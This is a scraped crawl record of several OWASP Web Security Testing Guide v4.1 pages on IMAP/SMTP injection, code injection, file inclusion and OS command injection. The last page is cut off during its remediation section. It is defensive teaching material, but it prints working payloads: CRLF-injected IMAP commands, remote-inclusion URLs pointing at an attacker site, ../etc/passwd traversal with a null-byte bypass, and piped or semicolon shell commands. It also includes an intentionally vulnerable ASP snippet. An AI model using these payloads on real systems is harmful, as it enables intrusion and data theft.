"popis": "WSTG - v4.1 on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "klicova_slova": "", "kanonicka": "https://owasp.org/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/07-Input_Validation_Testing/10-Testing_for_IMAP_SMTP_Injection", "jazyk": "en", "robots_meta": "", "og": {"og:description": "WSTG - v4.1 on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "og:title": "WSTG - v4.1 | OWASP Foundation", "og:url": "https://owasp.org/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/07-Input_Validation_Testing/10-Testing_for_IMAP_SMTP_Injection", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "WSTG - v4.1"}, {"uroven": 1, "text": "Testing for IMAP SMTP Injection"}, {"uroven": 2, "text": "Summary"}, {"uroven": 2, "text": "How to Test"}, {"uroven": 3, "text": "Identifying Vulnerable Parameters"}, {"uroven": 3, "text": "Understanding the Data Flow and Deployment Structure of the Client"}, {"uroven": 3, "text": "IMAP/SMTP Command Injection"}, {"uroven": 2, "text": "References"}, {"uroven": 3, "text": "Whitepapers"}], "markdown": "# WSTG - v4.1\n\n# Testing for IMAP SMTP Injection\n\n| ID |\n| --- |\n| WSTG-INPV-10 |\n\n## Summary\n\nThis threat affects all applications that communicate with mail servers (IMAP/SMTP), generally webmail applications. The aim of this test is to verify the capacity to inject arbitrary IMAP/SMTP commands into the mail servers, due to input data not being properly sanitized.\n\nThe IMAP/SMTP Injection technique is more effective if the mail server is not directly accessible from Internet. Where full communication with the backend mail server is possible, it is recommended to conduct direct testing.\n\nAn IMAP/SMTP Injection makes it possible to access a mail server which otherwise would not be directly accessible from the Internet. In some cases, these internal systems do not have the same level of infrastructure security and hardening that is applied to the front-end web servers. Therefore, mail server results may be more vulnerable to attacks by end users (see the scheme presented in Figure 1).\n\n*Figure 4.7.10-1: Communication with the mail servers using the IMAP/SMTP Injection technique*\n\nFigure 1 depicts the flow of traffic generally seen when using webmail technologies. Step 1 and 2 is the user interacting with the webmail client, whereas step 2 is the tester bypassing the webmail client and interacting with the back-end mail servers directly.\n\nThis technique allows a wide variety of actions and attacks. The possibilities depend on the type and scope of injection and the mail server technology being tested.\n\nSome examples of attacks using the IMAP/SMTP Injection technique are:\n\n- Exploitation of vulnerabilities in the IMAP/SMTP protocol\n- Application restrictions evasion\n- Anti-automation process evasion\n- Information leaks\n- Relay/SPAM\n\n## How to Test\n\nThe standard attack patterns are:\n\n- Identifying vulnerable parameters\n- Understanding the data flow and deployment structure of the client\n- IMAP/SMTP command injection\n\n### Identifying Vulnerable Parameters\n\nIn order to detect vulnerable parameters, the tester has to analyze the application’s ability in handling input. Input validation testing requires the tester to send bogus, or malicious, requests to the server and analyse the response. In a secure application, the response should be an error with some corresponding action telling the client that something has gone wrong. In a vulnerable application, the malicious request may be processed by the back-end application that will answer with a `HTTP 200 OK` response message.\n\nIt is important to note that the requests being sent should match the technology being tested. Sending SQL injection strings for Microsoft SQL server when a MySQL server is being used will result in false positive responses. In this case, sending malicious IMAP commands is modus operandi since IMAP is the underlying protocol being tested.\n\nIMAP special parameters that should be used are:\n\n| On the IMAP server | On the SMTP server |\n| --- | --- |\n| Authentication | Emissor e-mail |\n| operations with mail boxes (list, read, create, delete, rename) | Destination e-mail |\n| operations with messages (read, copy, move, delete) | Subject |\n| Disconnection | Message body |\n| | Attached files |\n\nIn this example, the “mailbox” parameter is being tested by manipulating all requests with the parameter in:\n\n`http:///src/read_body.php?mailbox=INBOX&passed_id=46106&startMessage=1`\n\nThe following examples can be used.\n\n- Assign a null value to the parameter:\n\n`http:///src/read_body.php?mailbox=&passed_id=46106&startMessage=1`\n\n- Substitute the value with a random value:\n\n`http:///src/read_body.php?mailbox=NOTEXIST&passed_id=46106&startMessage=1`\n\n- Add other values to the parameter:\n\n`http:///src/read_body.php?mailbox=INBOX PARAMETER2&passed_id=46106&startMessage=1`\n\n- Add non standard special characters (i.e.: \\, ‘, “, @, #, !, ):\n\n`http:///src/read_body.php?mailbox=INBOX\"&passed_id=46106&startMessage=1`\n\n- Eliminate the parameter:\n\n`http:///src/read_body.php?passed_id=46106&startMessage=1`\n\nThe final result of the above testing gives the tester three possible situations:\nS1 - The application returns a error code/message\nS2 - The application does not return an error code/message, but it does not realize the requested operation\nS3 - The application does not return an error code/message and realizes the operation requested normally\n\nSituations S1 and S2 represent successful IMAP/SMTP injection.\n\nAn attacker’s aim is receiving the S1 response, as it is an indicator that the application is vulnerable to injection and further manipulation.\n\nLet’s suppose that a user retrieves the email headers using the following HTTP request:\n\n`http:///src/view_header.php?mailbox=INBOX&passed_id=46105&passed_ent_id=0`\n\nAn attacker might modify the value of the parameter INBOX by injecting the character `\"` (%22 using URL encoding):\n\n`http:///src/view_header.php?mailbox=INBOX%22&passed_id=46105&passed_ent_id=0`\n\nIn this case, the application answer may be:\n\n```\nERROR: Bad or malformed request.\nQuery: SELECT \"INBOX\"\"\nServer responded: Unexpected extra arguments to Select\n```\n\nThe situation S2 is harder to test successfully. The tester needs to use blind command injection in order to determine if the server is vulnerable.\n\nOn the other hand, the last situation (S3) is not revelant in this paragraph.\n\n> List of vulnerable parameters\n> \n> - Affected functionality\n> - Type of possible injection (IMAP/SMTP)\n\n### Understanding the Data Flow and Deployment Structure of the Client\n\nAfter identifying all vulnerable parameters (for example, `passed_id`), the tester needs to determine what level of injection is possible and then design a testing plan to further exploit the application.\n\nIn this test case, we have detected that the application’s `passed_id` parameter is vulnerable and is used in the following request:\n\n`http:///src/read_body.php?mailbox=INBOX&passed_id=46225&startMessage=1`\n\nUsing the following test case (providing an alphabetical value when a numerical value is required):\n\n`http:///src/read_body.php?mailbox=INBOX&passed_id=test&startMessage=1`\n\nwill generate the following error message:\n\n```\nERROR : Bad or malformed request.\nQuery: FETCH test:test BODY[HEADER]\nServer responded: Error in IMAP command received by server.\n```\n\nIn this example, the error message returned the name of the executed command and the corresponding parameters.\n\nIn other situations, the error message (`not controlled` by the application) contains the name of the executed command, but reading the suitable RFC allows the tester to understand what other possible commands can be executed.\n\nIf the application does not return descriptive error messages, the tester needs to analyze the affected functionality to deduce all the possible commands (and parameters) associated with the above mentioned functionality. For example, if a vulnerable parameter has been detected in the create mailbox functionality, it is logical to assume that the affected IMAP command is `CREATE`. According to the RFC, the `CREATE` command accepts one parameter which specifies the name of the mailbox to create.\n\n> List of IMAP/SMTP commands affected\n> \n> - Type, value, and number of parameters expected by the affected IMAP/SMTP commands\n\n### IMAP/SMTP Command Injection\n\nOnce the tester has identified vulnerable parameters and has analyzed the context in which they are executed, the next stage is exploiting the functionality.\n\nThis stage has two possible outcomes:\n\n1. The injection is possible in an unauthenticated state: the affected functionality does not require the user to be authenticated. The injected (IMAP) commands available are limited to: `CAPABILITY` , `NOOP` , `AUTHENTICATE` , `LOGIN` , and `LOGOUT` .\n2. The injection is only possible in an authenticated state: the successful exploitation requires the user to be fully authenticated before testing can continue.\n\nIn any case, the typical structure of an IMAP/SMTP Injection is as follows:\n\n- Header: ending of the expected command;\n- Body: injection of the new command;\n- Footer: beginning of the expected command.\n\nIt is important to remember that, in order to execute an IMAP/SMTP command, the previous command must be terminated with the CRLF (`%0d%0a`) sequence.\n\nLet’s suppose that in the Identifying vulnerable parameters stage, the attacker detects that the parameter `message_id` in the following request is vulnerable:\n\n`http:///read_email.php?message_id=4791`\n\nLet’s suppose also that the outcome of the analysis performed in the stage 2 (“Understanding the data flow and deployment structure of the client”) has identified the command and arguments associated with this parameter as:\n\n`FETCH 4791 BODY[HEADER]`\n\nIn this scenario, the IMAP injection structure would be:\n\n`http:///read_email.php?message_id=4791 BODY[HEADER]%0d%0aV100 CAPABILITY%0d%0aV101 FETCH 4791`\n\nWhich would generate the following commands:\n\n```\n???? FETCH 4791 BODY[HEADER] V100 CAPABILITY V101 FETCH 4791 BODY[HEADER] \n```\n\nwhere:\n\n```\nHeader = 4791 BODY[HEADER] Body = %0d%0aV100 CAPABILITY%0d%0a Footer = V101 FETCH 4791 \n```\n\n> List of IMAP/SMTP commands affected\n> \n> - Arbitrary IMAP/SMTP command injection\n\n## References\n\n### Whitepapers\n\n- [RFC 0821 “Simple Mail Transfer Protocol”](https://tools.ietf.org/html/rfc821)\n- [RFC 3501 “Internet Message Access Protocol - Version 4rev1”](https://tools.ietf.org/html/rfc3501)\n- [Vicente Aguilera Díaz: “MX Injection: Capturing and Exploiting Hidden Mail Servers”](http://www.webappsec.org/projects/articles/121106.pdf)\n\n---\n\n[Watch](https://github.com/OWASP/wstg/subscription) [Star](https://github.com/OWASP/wstg)", "znaku_textu": 9500, "slov": 1291, "odkazu": 180, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 13:43:58", "sha256": "377397ffdebc1c81a32541b2ae0c2fa6ccad3a1e43385156066f56e3235786c8", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "https://tools.ietf.org/html/rfc821", "https://tools.ietf.org/html/rfc3501", "http://www.webappsec.org/projects/articles/121106.pdf", "https://github.com/OWASP/wstg/subscription", "https://github.com/OWASP/wstg", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL", "https://policy.owasp.org/operational/general-disclaimer.html"]} {"url": "https://owasp.org/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/07-Input_Validation_Testing/11-Testing_for_Code_Injection", "titulek": "WSTG - v4.1 | OWASP Foundation", "h1": "WSTG - v4.1", "popis": "WSTG - v4.1 on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "klicova_slova": "", "kanonicka": "https://owasp.org/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/07-Input_Validation_Testing/11-Testing_for_Code_Injection", "jazyk": "en", "robots_meta": "", "og": {"og:description": "WSTG - v4.1 on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "og:title": "WSTG - v4.1 | OWASP Foundation", "og:url": "https://owasp.org/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/07-Input_Validation_Testing/11-Testing_for_Code_Injection", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "WSTG - v4.1"}, {"uroven": 1, "text": "Testing for Code Injection"}, {"uroven": 2, "text": "Summary"}, {"uroven": 2, "text": "How to Test"}, {"uroven": 3, "text": "Black-Box Testing"}, {"uroven": 4, "text": "Testing for PHP Injection Vulnerabilities"}, {"uroven": 3, "text": "Gray-Box Testing"}, {"uroven": 4, "text": "Testing for ASP Code Injection Vulnerabilities"}, {"uroven": 3, "text": "References"}], "markdown": "# WSTG - v4.1\n\n# Testing for Code Injection\n\n| ID |\n| --- |\n| WSTG-INPV-11 |\n\n## Summary\n\nThis section describes how a tester can check if it is possible to enter code as input on a web page and have it executed by the web server.\n\nIn [Code Injection](https://owasp.org/www-community/attacks/Code_Injection) testing, a tester submits input that is processed by the web server as dynamic code or as an included file. These tests can target various server-side scripting engines, e.g.., ASP or PHP. Proper input validation and secure coding practices need to be employed to protect against these attacks.\n\n## How to Test\n\n### Black-Box Testing\n\n#### Testing for PHP Injection Vulnerabilities\n\nUsing the querystring, the tester can inject code (in this example, a malicious URL) to be processed as part of the included file:\n\n`http://www.example.com/uptime.php?pin=http://www.example2.com/packx1/cs.jpg?&cmd=uname%20-a`\n\n> The malicious URL is accepted as a parameter for the PHP page, which will later use the value in an included file.\n\n### Gray-Box Testing\n\n#### Testing for ASP Code Injection Vulnerabilities\n\nExamine ASP code for user input used in execution functions. Can the user enter commands into the Data input field? Here, the ASP code will save the input to a file and then execute it:\n\n```\n<%\nIf not isEmpty(Request( “Data” ) ) Then\nDim fso, f\n'User input Data is written to a file named data.txt\nSet fso = CreateObject(“Scripting.FileSystemObject”)\nSet f = fso.OpenTextFile(Server.MapPath( “data.txt” ), 8, True)\nf.Write Request(“Data”) & vbCrLf\nf.close\nSet f = nothing\nSet fso = Nothing\n\n'Data.txt is executed\nServer.Execute( “data.txt” )\n\nElse\n%>\n\n
\n\n\n
\n<%\nEnd If\n%>)))\n```\n\n### References\n\n- [Security Focus](http://www.securityfocus.com)\n- [Insecure.org](http://www.insecure.org)\n- [Wikipedia](http://www.wikipedia.org)\n- [Reviewing Code for OS Injection](https://wiki.owasp.org/index.php/OS_Injection)\n\n---\n\n[Watch](https://github.com/OWASP/wstg/subscription) [Star](https://github.com/OWASP/wstg)", "znaku_textu": 2018, "slov": 276, "odkazu": 180, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 13:43:59", "sha256": "7c21103039c20788b1e544117c9f704cd6fa5ab36849281bedd898f5763ae5b5", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "http://www.securityfocus.com/", "http://www.insecure.org/", "http://www.wikipedia.org/", "https://wiki.owasp.org/index.php/OS_Injection", "https://github.com/OWASP/wstg/subscription", "https://github.com/OWASP/wstg", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL", "https://policy.owasp.org/operational/general-disclaimer.html"]} {"url": "https://owasp.org/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/07-Input_Validation_Testing/11.1-Testing_for_Local_File_Inclusion", "titulek": "WSTG - v4.1 | OWASP Foundation", "h1": "WSTG - v4.1", "popis": "WSTG - v4.1 on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "klicova_slova": "", "kanonicka": "https://owasp.org/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/07-Input_Validation_Testing/11.1-Testing_for_Local_File_Inclusion", "jazyk": "en", "robots_meta": "", "og": {"og:description": "WSTG - v4.1 on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "og:title": "WSTG - v4.1 | OWASP Foundation", "og:url": "https://owasp.org/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/07-Input_Validation_Testing/11.1-Testing_for_Local_File_Inclusion", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "WSTG - v4.1"}, {"uroven": 1, "text": "Testing for Local File Inclusion"}, {"uroven": 2, "text": "Summary"}, {"uroven": 2, "text": "How to Test"}, {"uroven": 2, "text": "References"}, {"uroven": 2, "text": "Remediation"}], "markdown": "# WSTG - v4.1\n\n# Testing for Local File Inclusion\n\n## Summary\n\nThe File Inclusion vulnerability allows an attacker to include a file, usually exploiting a “dynamic file inclusion” mechanisms implemented in the target application. The vulnerability occurs due to the use of user-supplied input without proper validation.\n\nThis can lead to something as outputting the contents of the file, but depending on the severity, it can also lead to:\n\n- Code execution on the web server\n- Code execution on the client-side such as JavaScript which can lead to other attacks such as cross site scripting (XSS)\n- Denial of Service (DoS)\n- Sensitive Information Disclosure\n\nLocal file inclusion (also known as LFI) is the process of including files, that are already locally present on the server, through the exploiting of vulnerable inclusion procedures implemented in the application. This vulnerability occurs, for example, when a page receives, as input, the path to the file that has to be included and this input is not properly sanitized, allowing directory traversal characters (such as dot-dot-slash) to be injected. Although most examples point to vulnerable PHP scripts, we should keep in mind that it is also common in other technologies such as JSP, ASP and others.\n\n## How to Test\n\nSince LFI occurs when paths passed to `include` statements are not properly sanitized, in a blackbox testing approach, we should look for scripts which take filenames as parameters.\n\nConsider the following example:\n\n`http://vulnerable_host/preview.php?file=example.html`\n\nThis looks as a perfect place to try for LFI. If an attacker is lucky enough, and instead of selecting the appropriate page from the array by its name, the script directly includes the input parameter, it is possible to include arbitrary files on the server.\n\nTypical proof-of-concept would be to load passwd file:\n\n`http://vulnerable_host/preview.php?file=../../../../etc/passwd`\n\nIf the above mentioned conditions are met, an attacker would see something like the following:\n\n```\nroot:x:0:0:root:/root:/bin/bash\nbin:x:1:1:bin:/bin:/sbin/nologin\ndaemon:x:2:2:daemon:/sbin:/sbin/nologin\nalex:x:500:500:alex:/home/alex:/bin/bash\nmargo:x:501:501::/home/margo:/bin/bash\n...\n```\n\nVery often, even when such vulnerability exists, its exploitation is a bit more complex. Consider the following piece of code:\n\n``\n\nIn the case, simple substitution with arbitrary filename would not work as the postfix ‘php’ is appended. In order to bypass it, a technique with null-byte terminators is used. Since %00 effectively presents the end of the string, any characters after this special byte will be ignored. Thus, the following request will also return an attacker list of basic users attributes:\n\n`http://vulnerable_host/preview.php?file=../../../../etc/passwd%00`\n\n## References\n\n- [Wikipedia](https://www.wikipedia.org/wiki/Local_File_Inclusion)\n\n## Remediation\n\nThe most effective solution to eliminate file inclusion vulnerabilities is to avoid passing user-submitted input to any filesystem/framework API. If this is not possible the application can maintain a white list of files, that may be included by the page, and then use an identifier (for example the index number) to access to the selected file. Any request containing an invalid identifier has to be rejected, in this way there is no attack surface for malicious users to manipulate the path.\n\n---\n\n[Watch](https://github.com/OWASP/wstg/subscription) [Star](https://github.com/OWASP/wstg)", "znaku_textu": 3499, "slov": 487, "odkazu": 176, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 13:44:00", "sha256": "c69120a008cee4244dc220d6f181cfb00fc50f156a9219c45108f121681d60a0", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "https://www.wikipedia.org/wiki/Local_File_Inclusion", "https://github.com/OWASP/wstg/subscription", "https://github.com/OWASP/wstg", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL", "https://policy.owasp.org/operational/general-disclaimer.html"]} {"url": "https://owasp.org/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/07-Input_Validation_Testing/11.2-Testing_for_Remote_File_Inclusion", "titulek": "WSTG - v4.1 | OWASP Foundation", "h1": "WSTG - v4.1", "popis": "WSTG - v4.1 on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "klicova_slova": "", "kanonicka": "https://owasp.org/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/07-Input_Validation_Testing/11.2-Testing_for_Remote_File_Inclusion", "jazyk": "en", "robots_meta": "", "og": {"og:description": "WSTG - v4.1 on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "og:title": "WSTG - v4.1 | OWASP Foundation", "og:url": "https://owasp.org/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/07-Input_Validation_Testing/11.2-Testing_for_Remote_File_Inclusion", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "WSTG - v4.1"}, {"uroven": 1, "text": "Testing for Remote File Inclusion"}, {"uroven": 2, "text": "Summary"}, {"uroven": 2, "text": "How to Test"}, {"uroven": 2, "text": "References"}, {"uroven": 3, "text": "Whitepapers"}, {"uroven": 2, "text": "Remediation"}], "markdown": "# WSTG - v4.1\n\n# Testing for Remote File Inclusion\n\n## Summary\n\nThe File Inclusion vulnerability allows an attacker to include a file, usually exploiting a “dynamic file inclusion” mechanisms implemented in the target application. The vulnerability occurs due to the use of user-supplied input without proper validation.\n\nThis can lead to something as outputting the contents of the file, but depending on the severity, it can also lead to:\n\n- Code execution on the web server\n- Code execution on the client-side such as JavaScript which can lead to other attacks such as cross site scripting (XSS)\n- Denial of Service (DoS)\n- Sensitive Information Disclosure\n\nRemote File Inclusion (also known as RFI) is the process of including remote files through the exploiting of vulnerable inclusion procedures implemented in the application. This vulnerability occurs, for example, when a page receives, as input, the path to the file that has to be included and this input is not properly sanitized, allowing external URL to be injected. Although most examples point to vulnerable PHP scripts, we should keep in mind that it is also common in other technologies such as JSP, ASP and others.\n\n## How to Test\n\nSince RFI occurs when paths passed to “include” statements are not properly sanitized, in a black-box testing approach, we should look for scripts which take filenames as parameters. Consider the following PHP example:\n\n```\n$incfile = $_REQUEST[\"file\"]; include($incfile.\".php\"); \n```\n\nIn this example the path is extracted from the HTTP request and no input validation is done (for example, by checking the input against a whitelist), so this snippet of code results vulnerable to this type of attack. Consider the following URL:\n\n`http://vulnerable_host/vuln_page.php?file=http://attacker_site/malicous_page`\n\nIn this case the remote file is going to be included and any code contained in it is going to be run by the server.\n\n## References\n\n### Whitepapers\n\n- [“Remote File Inclusion”](http://projects.webappsec.org/w/page/13246955/Remote%20File%20Inclusion)\n- [Wikipedia: “Remote File Inclusion”](https://en.wikipedia.org/wiki/Remote_File_Inclusion)\n\n## Remediation\n\nThe most effective solution to eliminate file inclusion vulnerabilities is to avoid passing user-submitted input to any filesystem/framework API. If this is not possible the application can maintain a whitelist of files, that may be included by the page, and then use an identifier (for example the index number) to access to the selected file. Any request containing an invalid identifier has to be rejected, in this way there is no attack surface for malicious users to manipulate the path.\n\n---\n\n[Watch](https://github.com/OWASP/wstg/subscription) [Star](https://github.com/OWASP/wstg)", "znaku_textu": 2713, "slov": 389, "odkazu": 177, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 13:44:01", "sha256": "042c93924d7772c3c5dfd110a7d9b9f1e615e5931206aadbf0c785b25b33bd65", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "http://projects.webappsec.org/w/page/13246955/Remote%20File%20Inclusion", "https://en.wikipedia.org/wiki/Remote_File_Inclusion", "https://github.com/OWASP/wstg/subscription", "https://github.com/OWASP/wstg", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL", "https://policy.owasp.org/operational/general-disclaimer.html"]} {"url": "https://owasp.org/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/07-Input_Validation_Testing/12-Testing_for_Command_Injection", "titulek": "WSTG - v4.1 | OWASP Foundation", "h1": "WSTG - v4.1", "popis": "WSTG - v4.1 on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "klicova_slova": "", "kanonicka": "https://owasp.org/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/07-Input_Validation_Testing/12-Testing_for_Command_Injection", "jazyk": "en", "robots_meta": "", "og": {"og:description": "WSTG - v4.1 on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "og:title": "WSTG - v4.1 | OWASP Foundation", "og:url": "https://owasp.org/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/07-Input_Validation_Testing/12-Testing_for_Command_Injection", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "WSTG - v4.1"}, {"uroven": 1, "text": "Testing for Command Injection"}, {"uroven": 2, "text": "Summary"}, {"uroven": 2, "text": "How to Test"}, {"uroven": 3, "text": "Example"}, {"uroven": 2, "text": "Special Characters for Comand Injection"}, {"uroven": 2, "text": "Code Review Dangerous API"}, {"uroven": 3, "text": "Java"}, {"uroven": 3, "text": "C/C++"}, {"uroven": 3, "text": "Python"}, {"uroven": 3, "text": "PHP"}, {"uroven": 3, "text": "Remediation"}, {"uroven": 4, "text": "Sanitization"}, {"uroven": 3, "text": "Permissions"}, {"uroven": 2, "text": "Tools"}, {"uroven": 2, "text": "References"}], "markdown": "# WSTG - v4.1\n\n# Testing for Command Injection\n\n| ID |\n| --- |\n| WSTG-INPV-12 |\n\n## Summary\n\nThis article describes how to test an application for OS command injection. The tester will try to inject an OS command through an HTTP request to the application.\n\nOS command injection is a technique used via a web interface in order to execute OS commands on a web server. The user supplies operating system commands through a web interface in order to execute OS commands. Any web interface that is not properly sanitized is subject to this exploit. With the ability to execute OS commands, the user can upload malicious programs or even obtain passwords. OS command injection is preventable when security is emphasized during the design and development of applications.\n\n## How to Test\n\nWhen viewing a file in a web application, the file name is often shown in the URL. Perl allows piping data from a process into an open statement. The user can simply append the Pipe symbol `|` onto the end of the file name.\n\nExample URL before alteration:\n\n`http://sensitive/cgi-bin/userData.pl?doc=user1.txt`\n\nExample URL modified:\n\n`http://sensitive/cgi-bin/userData.pl?doc=/bin/ls|`\n\nThis will execute the command `/bin/ls`.\n\nAppending a semicolon to the end of a URL for a .PHP page followed by an operating system command, will execute the command. `%3B` is URL encoded and decodes to semicolon\n\nExample:\n\n`http://sensitive/something.php?dir=%3Bcat%20/etc/passwd`\n\n### Example\n\nConsider the case of an application that contains a set of documents that you can browse from the Internet. If you fire up a personal proxy (such as ZAP or Burp Suite), you can obtain a POST HTTP like the following:\n\n```\nPOST http://www.example.com/public/doc HTTP/1.1\nHost: www.example.com\nUser-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; it; rv:1.8.1) Gecko/20061010 FireFox/2.0\nAccept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5\nAccept-Language: it-it,it;q=0.8,en-us;q=0.5,en;q=0.3\nAccept-Encoding: gzip,deflate\nAccept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7\nKeep-Alive: 300\nProxy-Connection: keep-alive\nReferer: http://127.0.0.1/WebGoat/attack?Screen=20\nCookie: JSESSIONID=295500AD2AAEEBEDC9DB86E34F24A0A5\nAuthorization: Basic T2Vbc1Q9Z3V2Tc3e=\nContent-Type: application/x-www-form-urlencoded\nContent-length: 33\n\nDoc=Doc1.pdf\n```\n\nIn this post request, we notice how the application retrieves the public documentation. Now we can test if it is possible to add an operating system command to inject in the POST HTTP. Try the following:\n\n```\nPOST http://www.example.com/public/doc HTTP/1.1\nHost: www.example.com\nUser-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; it; rv:1.8.1) Gecko/20061010 FireFox/2.0\nAccept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5\nAccept-Language: it-it,it;q=0.8,en-us;q=0.5,en;q=0.3\nAccept-Encoding: gzip,deflate\nAccept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7\nKeep-Alive: 300\nProxy-Connection: keep-alive\nReferer: http://127.0.0.1/WebGoat/attack?Screen=20\nCookie: JSESSIONID=295500AD2AAEEBEDC9DB86E34F24A0A5\nAuthorization: Basic T2Vbc1Q9Z3V2Tc3e=\nContent-Type: application/x-www-form-urlencoded\nContent-length: 33\n\nDoc=Doc1.pdf+|+Dir c:\\\n```\n\nIf the application doesn’t validate the request, we can obtain the following result:\n\n```\n Exec Results for 'cmd.exe /c type \"C:\\httpd\\public\\doc\\\"Doc=Doc1.pdf+|+Dir c:\\'\n Output...\n Il volume nell'unità C non ha etichetta.\n Numero di serie Del volume: 8E3F-4B61\n Directory of c:\\\n 18/10/2006 00:27 2,675 Dir_Prog.txt\n 18/10/2006 00:28 3,887 Dir_ProgFile.txt\n 16/11/2006 10:43\n Doc\n 11/11/2006 17:25\n Documents and Settings\n 25/10/2006 03:11\n I386\n 14/11/2006 18:51\n h4ck3r\n 30/09/2005 21:40 25,934\n OWASP1.JPG\n 03/11/2006 18:29\n Prog\n 18/11/2006 11:20\n Program Files\n 16/11/2006 21:12\n Software\n 24/10/2006 18:25\n Setup\n 24/10/2006 23:37\n Technologies\n 18/11/2006 11:14\n 3 File 32,496 byte\n 13 Directory 6,921,269,248 byte disponibili\n Return code: 0\n```\n\nIn this case, we have successfully performed an OS injection attack.\n\n## Special Characters for Comand Injection\n\nThe following special character can be used for command injection such as `|` `;` `&` `$` `>` `<` `'` `!`\n\n- `cmd1|cmd2` : Uses of `|` will make command 2 to be executed weather command 1 execution is successful or not.\n- `cmd1;cmd2` : Uses of `;` will make command 2 to be executed weather command 1 execution is successful or not.\n- `cmd1||cmd2` : Command 2 will only be executed if command 1 execution fails.\n- `cmd1&&cmd2` : Command 2 will only be executed if command 1 execution succeeds.\n- `$(cmd)` : For example, `echo $(whoami)` or `$(touch test.sh; echo 'ls' > test.sh)`\n- `cmd` : It’s used to execute specific command. For example, `whoami`\n- `>(cmd)` : `>(ls)`\n- `<(cmd)` : `<(ls)`\n\n## Code Review Dangerous API\n\nBe aware of the uses of following API as it may introduce the command injection risks.\n\n### Java\n\n- `Runtime.exec()`\n\n### C/C++\n\n- `system`\n- `exec`\n- `ShellExecute`\n\n### Python\n\n- `exec`\n- `eval`\n- `os.system`\n- `os.popen`\n- `subprocess.popen`\n- `subprocess.call`\n\n### PHP\n\n- `system`\n- `shell_exec`\n- `exec`\n- `proc_open`\n- `eval`\n\n### Remediation\n\n#### Sanitization\n\nThe URL and form data needs to be sanitized for invalid characters. A blacklist of characters is an option but it may be difficult to think of all of the characters to validate against. Also there may be some that were not discovered as of yet. A whitelist containing only allowable characters 